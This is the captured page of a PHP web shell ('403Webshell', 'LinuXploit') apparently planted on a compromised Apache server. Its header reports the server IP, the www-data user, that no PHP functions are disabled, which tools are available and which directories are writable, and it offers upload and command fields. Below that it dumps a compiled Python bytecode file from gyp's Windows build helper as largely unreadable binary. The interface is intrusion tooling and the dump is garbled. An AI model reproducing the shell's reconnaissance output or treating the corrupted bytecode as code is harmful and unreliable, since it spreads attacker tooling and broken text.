403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/gyp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/gyp/__pycache__/win_tool.cpython-312.pyc
�

�"Kb;5��`�dZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ejjejje
��Zejdej �Zd�ZGd�de�Zedk(r&e	j,ee	j.d	d��yy)
zuUtility functions for Windows builds.

These functions are executed via gyp-win-tool when using the ninja generator.
�)�print_functionNz/OUT:(?P<out>.+)$c�j�t�}|j|�}|�tj|�yy�N)�WinTool�Dispatch�sys�exit)�args�executor�	exit_codes   �./usr/lib/python3/dist-packages/gyp/win_tool.py�mainrs0��
�Y�(�����%�)����H�H�Y���c�j�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zy)rz�This class performs all the Windows tooling steps. The methods can either
  be executed directly, or dispatched from an argument list.c	��t|�dkrtd��|ddk7ryd}|D]X}tj|�}|s�t	j
ddd|j
d	�tj�fz�}n|�y||d
<y)zWAllows to use a unique instance of mspdbsrv.exe per linker instead of a
    shared one.��Not enough argumentsrzlink.exeNz\W+�z%s_%d�out�_MSPDBSRV_ENDPOINT_)	�len�	Exception�_LINK_EXE_OUT_ARG�match�re�sub�group�os�getpid)�self�envr
�
endpoint_name�arg�ms      r
�_UseSeparateMspdbsrvzWinTool._UseSeparateMspdbsrv's����4�y�1�}��,�-�-��A�w�*����M����
�
!�
!�#�
&�a�	
����v�r��q�w�w�u�~�r�y�y�{�3�3�5�
�
�����
"/�C��rc��t|�dkrtd��d|j|d�z}t||�|dd�S)z(Dispatches a string command to a method.rrzExec%srN)rr�_CommandifyName�getattr)r r
�methods   r
rzWinTool.DispatchBsL��
�4�y�1�}��,�-�-�
��,�,�T�!�W�5�
5�F� �7�4�� �$�q�r�(�+�+rc�B�|j�jdd�S)z@Transforms a tool name like recursive-mirror to RecursiveMirror.�-r)�title�replace)r �name_strings  r
r'zWinTool._CommandifyNameJs������&�&�s�B�/�/rc��t|�j�ddjd�}|D�cgc]}|jdd���}}t|�Scc}w)z@Gets the saved environment from a file for a given architecture.N�����=r)�open�read�split�dict)r �arch�pairs�item�kvss     r
�_GetEnvzWinTool._GetEnvNsS��

��J�O�O��c�r�"�(�(��.�E�*/�
0�$�4�:�:�c�1��
0�C�
0���9���1s�Ac�8�t|d�j�y)zSimple stamp command.�wN)r3�close)r �paths  r
�	ExecStampzWinTool.ExecStampWs����s�O���rc��tjj|�r�tjj|�rd�}t	j
||��n]tj|tj�s$tj|tj�tj|�tjj|�rt	j||�yt	j||�y)z)Emulation of rm -rf out && cp -af in out.c��tj|tj�s$tj|tj
�||�yr)r�access�W_OK�chmod�stat�S_IWRITE)�fnr?�excinfos   r
�	_on_errorz.WinTool.ExecRecursiveMirror.<locals>._on_error_s/�����4����)��H�H�T�4�=�=�)�
�T�(r)�onerrorN)rr?�exists�isdir�shutil�rmtreerCrDrErFrG�unlink�copytree�copy2)r �source�destrJs    r
�ExecRecursiveMirrorzWinTool.ExecRecursiveMirror[s���	�w�w�~�~�d��	�����t�	�	�	�
�
�d�I�.��y�y��r�w�w�'�
�(�(�4����
'�
�	�	�$��	�w�w�}�}�V���o�o�f�d�#��l�l�6�4� rc�8�|j|�}|dk(r|j||�tjdk(r#t	|�}|djdd�|d<t
j|tjdk(|tjtjd��}|j�\}}|j�D]C}|jd�r�|jd	�r�'|jd
�r�9t|��E|jS)z�Filter diagnostic output from link that looks like:
    '   Creating library ui.dll.lib and object ui.dll.exp'
    This happens when there are exports from the dll or exe.
    �True�win32r�/�\T��shellr!�stdout�stderr�universal_newlinesz   Creating library zGenerating codezFinished generating code)r;r%r�platform�listr-�
subprocess�Popen�PIPE�STDOUT�communicate�
splitlines�
startswith�print�
returncode)	r r7�use_separate_mspdbsrvr
r!�linkr�_�lines	         r
�ExecLinkWrapperzWinTool.ExecLinkWrapperqs���
�,�,�t�
�C���&�
����T�*�
�|�|�w��
�$�Z�d��Q�����T�*�d�1�g����D�����(?�S�#-�?�?�:�;L�;L�/3�5�D��
�
�
�F�C����� ����o�o�4�5��o�o�/�0��o�o�8�9�
�d��	�
�?�?�rc	�R�tj|||||||dj|	�d�	}
d}|	rRtjd|
z�|dk(r5tjd|
z�tjd|
z�d|
z}tj||z�|	r�tjd	|
z�d
|
z}d|
z}
t|
d�5}t|d�5}t
jd
d|j��}t
jd
d|j��}ddd�ddd�k7rZtj|�d�}||�||
�||�tjjd|�d|
�d|�d��yyy#1swY�rxYw#1swY�vxYw)zZA wrapper for handling creating a manifest resource and then executing
    a link command.� )	�pythonr7r�ldcmd�resname�mt�rc�intermediate_manifest�	manifestsrzn%(python)s gyp-win-tool manifest-wrapper %(arch)s %(mt)s -nologo -manifest %(manifests)s -out:%(out)s.manifestrWz`%(python)s gyp-win-tool manifest-to-rc %(arch)s %(out)s.manifest %(out)s.manifest.rc %(resname)szF%(python)s gyp-win-tool rc-wrapper %(arch)s %(rc)s %(out)s.manifest.rcz %(out)s.manifest.resz�%(python)s gyp-win-tool manifest-wrapper %(arch)s %(mt)s -nologo -manifest %(out)s.manifest %(intermediate_manifest)s -out:%(out)s.assert.manifestz%(out)s.assert.manifestz%(out)s.manifest�rz\s+Nc�:�t|tj��tdtj��t|d�5}t|j	�tj��tdtj��ddd�y#1swYyxYw)N)�filez-----ry)rirr^r3r4)�filename�fs  r
�dumpz+WinTool.ExecLinkWithManifests.<locals>.dump�sa��
��s�z�z�
*�
��c�j�j�
)��H�c�"�,�a��!�&�&�(����,��'��
�
�+�,�,�,�s
�AB�BzLinker generated manifest "z" added to final manifest "z" (result in "z8"). Were /MANIFEST switches used in #pragma statements? r)
r�
executable�joinrb�
check_callr3rrr4rrPr^�write)r r7�embed_manifestrrsrtrurvrwrx�	variables�	add_to_ld�assert_manifest�our_manifest�our_f�assert_f�our_data�assert_datar~s                   r
�ExecLinkWithManifestszWinTool.ExecLinkWithManifests�s�������
�����4��8�8�I�&�
�I��I�����:�<E�F�G�
�6�	!����
-�/8�
9�	:�	���
"�$-�
.�	/�,�i�7�	����%�)�+�,�����)�+4�5�6�2�I�=�o�'�)�3�l���c�"�<�e�
�/�3�
'�	<�8��V�V�F�B��
�
��5�(����v�r�8�=�=�?�;�+�	<�<�
�[�	 �
�	�	�#��	,�	
�
"�#��\���_���
�
���$�\�?�
D�	E�
�!
!��	<�	<��<�<�s%�
F�AF� F�F	�F�F&c� �|j|�}tj|d|tjtjd��}|j�\}}|j
�D]}|s�d|vs�t|��|jS)z�Run manifest tool with environment set. Strip out undesirable warning
    (some XML blocks are recognized by the OS loader, but not the manifest
    tool).Tr[z#manifest authoring warning 81010002)	r;rbrcrdrerfrgrirj�r r7r
r!�popenrrmrns        r
�ExecManifestWrapperzWinTool.ExecManifestWrapper�s����,�,�t�
�C����T��3�$.�O�O�J�<M�<M�04�
6�E��
�
�
 �F�C����� ���	
�7�t�C�
�d������rc
���|\}}}t|d�5}|jd|�dtjj	|�jdd��d��ddd�y#1swYyxYw)z�Creates a resource file pointing a SxS assembly manifest.
    |args| is tuple containing path to resource file, path to manifest file
    and resource name which can be "1" (for executables) or "2" (for DLLs).r=z#include <windows.h>
z RT_MANIFEST "rZrY�"N)r3r�rr?�abspathr-)r r7r
�
manifest_path�
resource_path�
resource_name�outputs       r
�ExecManifestToRczWinTool.ExecManifestToRc�sb��37�/�M�=�-�	
�m�S�	!�<�V��l�l��
�����
�&�.�.�t�S�9�;�<�<�<�<�s�AA"�"A+c	���ddgt|	�zd|d|d|d|d|d||g
z}
|j|�}tj|
d	|tjtj
d	�
�}|j
�\}
}|
j�}d�t�fd�|D��}|D]$}|j��r�||vs�t|��&|jS)
zjFilter noisy filenames output from MIDL compile step that isn't
    quietable via command line flags.
    �midlz/nologoz/outz/tlbz/hz/dlldataz/iidz/proxyTr[)zProcessing z64 bit Processing c3�~�K�|]4}|j��r!tjj|����6y�wr)rhrr?�basename)�.0�x�prefixess  �r
�	<genexpr>z*WinTool.ExecMidlWrapper.<locals>.<genexpr>
s3�����?��q�|�|�H�'=��W�W�%�%�a�(�?�s�:=)rar;rbrcrdrerfrg�setrhrirj)r r7�outdir�tlb�h�dlldata�iid�proxy�idl�flagsr
r!r�rrm�lines�
processingrnr�s                  @r
�ExecMidlWrapperzWinTool.ExecMidlWrapper�s����

�I���e��,������a��G����%��0
�
�D��,�,�t�
�C����T��3�$.�O�O�J�<M�<M�04�
6�E��
�
�
 �F�C��

�N�N��E�4�H��?�#�?�?�J����
�_�_�X�
&�4�z�+A�
�d������rc��|j|�}tj|d|tjtjd��}|j�\}}|j
�D]F}|jd�r�|jd�r�'|jd�r�9|s�<t|��H|jS)z/Filter logo banner from invocations of asm.exe.Tr[�#Copyright (C) Microsoft CorporationzMicrosoft (R) Macro Assemblerz
 Assembling: �
r;rbrcrdrerfrgrhrirjr�s        r
�ExecAsmWrapperzWinTool.ExecAsmWrappers���
�,�,�t�
�C����T��3�$.�O�O�J�<M�<M�04�
6�E��
�
�
 �F�C����� ����o�o�C�D��o�o�=�>��o�o�o�.�
�
�d������rc�^�|j|�}tj|d|tjtjd��}|j�\}}|j
�D]4}|jd�r�|jd�r�'|s�*t|��6|jS)zgFilter logo banner from invocations of rc.exe. Older versions of RC
    don't support the /nologo flag.Tr[z+Microsoft (R) Windows (R) Resource Compilerr�r�r�s        r
�
ExecRcWrapperzWinTool.ExecRcWrapper#s����,�,�t�
�C����T��3�$.�O�O�J�<M�<M�04�
6�E��
�
�
 �F�C����� ����o�o�K�L��o�o�C�D�
�
�d��	�
���rc��|j|�}tjj�D]\}}||vs�|||<�t	|�j�}|r|dnd}t
j|d||��S)z�Runs an action command line from a response file using the environment
    for |arch|. If |dir| is supplied, use that as the working directory.rNT)r\r!�cwd)r;r�environ�itemsr3r4rb�call)r r7�rspfile�dirr!�k�vr
s        r
�ExecActionWrapperzWinTool.ExecActionWrapper2sz���,�,�t�
�C��
�
� � �"����1�	
�#����A�����=����D��#�a�&�T�C��?�?�4�t��#�>�>rc�6�tjj|t�}|j	d�}|D�cgc]%}tjj||�dz��'}}dg}|j
|�tj|dt��Scc}w)zfExecuted by msvs-ninja projects when the 'ClCompile' target is used to
    build selected C/C++ files.�;z^^z	ninja.exeT)r\r�)	rr?�relpath�BASE_DIRr5r��extendrbr�)r �project_dir�selected_filesr|�
ninja_targets�cmds      r
�
ExecClCompilezWinTool.ExecClCompile?s����'�'�/�/�+�x�8�K�#�)�)�#�.�N�&�(���W�W�\�\�+�x�8�4�?�(�M�(��-�C��J�J�}���?�?�3�d��9�9��	(s�*BN)�__name__�
__module__�__qualname__�__doc__r%rr'r;r@rUror�r�r�r�r�r�r�r��rr
rr#sU��@�/�6,�0���!�,�<L�\�<��>
�
�?�	:rr�__main__r)r��
__future__rrrrNrbrF�stringrr?�dirnamer��__file__r��compile�
IGNORECASErr�objectrr�r	�argvr�rr
�<module>r�s����
&�	�	�
���
�
�
�7�7�?�?�2�7�7�?�?�8�4�5���B�J�J�2�B�M�M�B���e:�f�e:�N	�z��
�#�(�(�4���������r

Youez - 2016 - github.com/yon3zu
LinuXploit